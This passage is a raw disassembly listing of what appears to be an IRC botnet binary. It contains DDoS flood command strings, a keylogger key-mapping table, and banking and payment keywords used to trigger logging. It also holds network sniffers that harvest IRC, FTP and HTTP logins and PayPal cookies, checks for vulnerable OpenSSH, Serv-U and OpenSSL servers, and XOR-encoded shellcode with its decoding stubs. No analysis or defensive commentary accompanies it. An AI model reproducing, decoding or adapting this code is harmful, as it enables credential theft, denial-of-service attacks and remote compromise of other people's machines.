		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithFloodI	db '  Done with flood (%iKB/sec).',0
		align 4
unk_423068	db    2			; DATA XREF: sub_4010B2+302o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendErrorD_	db '  Send error: <%d>.',0
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_4010B2:loc_4011DEo
					; sub_40F6F1+2767o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_4010B2:loc_4011C2o
					; sub_40F6F1+2750o
		align 10h
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_4010B2+F1o
					; sub_40F6F1+2739o
		align 4
unk_4230BC	db    2			; DATA XREF: sub_401447+397o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithSFlood	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
unk_42311C	db    2			; DATA XREF: sub_401447+307o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPa	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
unk_42317C	db    2			; DATA XREF: sub_401447+12Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidTargetI	db '  Invalid target IP.',0
		align 4
unk_4231AC	db    2			; DATA XREF: sub_401447+C2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSetsockop	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
unk_4231F4	db    2			; DATA XREF: sub_401447+49o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSocketFai	db '  Error: socket() failed, returned: <%d>.',0
		align 4
aSupersynDoneWi	db '[SUPERSYN]: Done with flood (%iKB/sec)',0 ; DATA XREF: sub_40182E+48o
		align 10h
dword_423260	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_4019D1+48o
		dd 2BBBB02h
aDoneWithFloo_0	db '  Done with flood (%iKB/sec).',0
		align 4
dword_423298	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401A6D+27Do
		dd 2BBBB02h
aSendErrorD__0	db '  Send error: <%d>.',0
dword_4232C4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D79+4EBo
		dd 2BBBB02h
aDoneWithSFlo_0	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
dword_423324	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D79+44Fo
		dd 2BBBB02h
aErrorSending_0	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
aRandom		db 'random',0           ; DATA XREF: sub_401D79+312o
					; sub_40F6F1+2D3Do ...
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401D79+2F2o
					; sub_40F6F1+2D26o
aSyn		db 'syn',0              ; DATA XREF: sub_401D79+2D2o
					; sub_40F6F1+2D0Eo
dword_423394	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D79+15Fo
		dd 2BBBB02h
aInvalidTarge_0	db '  Invalid target IP.',0
		align 4
dword_4233C4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D79+EEo
		dd 2BBBB02h
aErrorSetsock_0	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
dword_42340C	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D79+70o
		dd 2BBBB02h
aErrorSocketF_0	db '  Error: socket() failed, returned: <%d>.',0
		align 10h
aEGold		db 'e-gold',0           ; DATA XREF: sub_4022BD+13o
		align 4
		dd 1Eh dup(0)
aPaypal_1	db 'PayPal',0
		align 4
		dd 1Eh dup(0)
aStormpay	db 'StormPay',0
		align 4
		dd 1Dh dup(0)
aVodafone	db 'Vodafone',0
		align 4
		dd 1Dh dup(0)
		dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0)
aEbay		db 'eBay',0
		align 4
		dd 1Eh dup(0)
		dd 6F686159h, 216Fh, 1Eh dup(0)
		dd 636E6142h, 65532061h, 616C6Ch, 1Dh dup(0)
aEmail		db 'Email',0
		align 4
		dd 1Eh dup(0)
aBankOfAmerica	db 'Bank Of America',0
		dd 1Ch dup(0)
aExploit	db 'exploit',0
		dd 1Eh dup(0)
aBenvenutoAGmai	db 'Benvenuto a gmail',0
		align 4
		dd 1Bh dup(0)
		dd 6E734Dh, 1Fh	dup(0)
aPagamento	db 'pagamento',0
		align 4
		dd 1Dh dup(0)
aPaga		db 'paga',0
		align 4
		dd 1Eh dup(0)
dword_423BD0	dd 8		dword_423BD4	dd 62h,	62000000h, 2 dup(0)		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_424304	dd 38h,	38000000h, 2 dup(0)		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_42433C	dd 7325h						; sub_402E92+221o ...
dword_424340	dd 28207325h, 297325h					; sub_40BDAD+EBo
dword_424348	dd 2BBBB02h, 20732520h,	2ABAB02h, 65522820h, 6E727574h
					; DATA XREF: sub_402368+3FAo
		dd 25282029h, 2973h
dword_424364	dd 2BBBB02h, 20732520h,	2ABAB02h, 65522820h, 6E727574h
					; DATA XREF: sub_402368+3D9o
		dd 29h
dword_42437C	dd 2BBBB02h, 20732520h,	2ABAB02haBufferFullS	db ' (Buffer full) (%s)',0
dword_42439C	dd 2BBBB02h, 20732520h,	2ABAB02h, 75422820h, 72656666h
					; DATA XREF: sub_402368+382o
		dd 6C756620h, 296Ch
dword_4243B8	dd 2BBBB02h, 20732520h,	2ABAB02haChangedWindows	db ' (Changed Windows: %s)',0
		align 4
dword_4243DC	dd 2BBBB02h, 20732520h,	2ABAB02h, 0					; sub_402368+223o
dword_4243EC	dd 0BBBB0220h, 73252002h, 0ABAB0220h, 2002h, 0off_424400	dd offset off_424C78	; DATA XREF: sub_402822+29Er
		dd offset off_424C74
		dd offset off_424C70
		dd offset aHttp		; "HTTP"
dword_424410	dd 6F6C2E3Ah, 6E6967h, 3 dup(0)dword_424424	dd 0				dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp		db 'HTTP',0             ; DATA XREF: ___:0042440Co
		align 10h
off_424C70	dd offset word_505446	; DATA XREF: ___:00424408o
off_424C74	dd offset byte_435249	; DATA XREF: ___:00424404o
off_424C78	dd offset word_544F42	; DATA XREF: ___:off_424400o
unk_424C7C	db    2			; DATA XREF: sub_402822+2FCo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorRecvFaile	db 'Error: recv() failed, returned: <%d>',0
		align 10h
unk_424CC0	db    2			; DATA XREF: sub_402822+2ABo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aSuspiciousSPac	db 'Suspicious %s packet from: %s:%d - %s.',0
		align 4
aPsniff_0	db '[PSNIFF]',0         ; DATA XREF: sub_402822+235o
		align 10h
unk_424D10	db    2			; DATA XREF: sub_402822+186o
					; sub_402E92+144o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorWsaioctlF	db 'Error: WSAIoctl() failed, returned: <%d>.',0
		align 4
unk_424D58	db    2			; DATA XREF: sub_402822+103o
					; sub_402E92+C5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorBindFaile	db 'Error: bind() failed, returned: <%d>.',0
		align 4
unk_424D9C	db    2			; DATA XREF: sub_402822+85o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSocketF_1	db 'Error: socket() failed, returned: <%d>.',0
aHashin		db ':!hashin',0         ; DATA XREF: sub_402B92+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_402B92+EEo
		align 4
aIdent		db ':!ident',0          ; DATA XREF: sub_402B92+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_402B92+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_402B92+B7o
aLogin		db ':!Login',0          ; DATA XREF: sub_402B92+A6o
aLogin_0	db ':!login',0          ; DATA XREF: sub_402B92+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_402B92+84o
a366		db '366 ',0             ; DATA XREF: sub_402B92+73o
		align 10h
a302		db '302 ',0             ; DATA XREF: sub_402B92:loc_402BF4o
		align 4
aJoin		db 'JOIN #',0           ; DATA XREF: sub_402B92+4Do
		align 10h
aPsniff_1	db 'PSNIFF//',0         ; DATA XREF: sub_402B92+3Co
		align 4
aPsniff_2	db '[PSNIFF]:',0        ; DATA XREF: sub_402B92+2Bo
		align 4
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_402B92+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_402CA9+62o
aOper		db 'oper ',0            ; DATA XREF: sub_402CA9+51o
		align 4
aNick_0		db 'NICK ',0            ; DATA XREF: sub_402CA9:loc_402CE9o
					; sub_402D1F+2Bo
		align 10h
aOper_0		db 'OPER ',0            ; DATA XREF: sub_402CA9+2Bo
		align 4
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_402CA9+5o
		align 4
aPass_0		db 'PASS ',0            ; DATA XREF: sub_402D1F+73o
		align 4
aUser_2		db 'USER ',0            ; DATA XREF: sub_402D1F+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_402D1F:loc_402D70o
		align 4
a220		db '220 ',0             ; DATA XREF: sub_402D1F+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_402D1F+5o
		align 10h
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_402DA6+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_402DA6+62o
		align 4
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_402DA6+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_402DA6:loc_402DE6o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_402DA6+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_402DA6+5o
		align 10h
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_402E2D+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_402E2D:loc_402E6Do
		align 10h
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_402E2D+2Bo
		align 10h
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_402E2D+5o
		align 4
unk_424F4C	db    2			; DATA XREF: sub_402E92+3E5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aVulnSniffSDToS	db 'VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 10h
unk_424F90	db    2			; DATA XREF: sub_402E92+37Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aHttpSniffSDToS	db 'HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_424FD4	db    2			; DATA XREF: sub_402E92+34Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFtpSniffSDToSD	db 'FTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_425018	db    2			; DATA XREF: sub_402E92+314o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aIrcSniffSDToSD	db 'IRC sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
dword_42505C	dd 7A026E02h, 201F6D1Fh, 696E7328h, 702E6666h, 671F6C1Fh
					; DATA XREF: sub_402E92+2DBo
		dd 0BB022029h, 202002BBh, 20746F42h, 66696E73h,	25222066h
		dd 64253A73h, 6F742022h, 73252220h, 2264253Ah, 202D203Ah
		dd 22732522h, 0
; ---------------------------------------------------------------------------
		jmp	short loc_4250B2

; =============== S U B	R O U T	I N E =======================================



sub_4250A2	proc far		; CODE XREF: sub_4250A2:loc_4250B2p
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_4250AA:				; CODE XREF: sub_4250A2+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_4250AA
		jmp	short loc_4250B7
; ---------------------------------------------------------------------------


loc_4250B2:				; CODE XREF: ___:004250A0j
		call	near ptr sub_4250A2


loc_4250B7:				; CODE XREF: sub_4250A2+Ej
		jo	short loc_42511B
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_425139
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_42511B:				; CODE XREF: sub_4250A2:loc_4250B7j
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_425139:				; CODE XREF: sub_4250A2+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_4250A2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_4251E0:				; DATA XREF: sub_4033C9+150o
					; sub_4033C9+20Do
		jmp	short loc_4251F2

; =============== S U B	R O U T	I N E =======================================



sub_4251E2	proc near		; CODE XREF: sub_4251E2:loc_4251F2p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_4251EA:				; CODE XREF: sub_4251E2+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_4251EA
		jmp	short loc_4251F7
; ---------------------------------------------------------------------------


loc_4251F2:				; CODE XREF: ___:loc_4251E0j
		call	sub_4251E2


loc_4251F7:				; CODE XREF: sub_4251E2+Ej
		jo	short near ptr dword_425170+1Eh
		cwde
		cdq
		cdq
		retn
sub_4251E2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
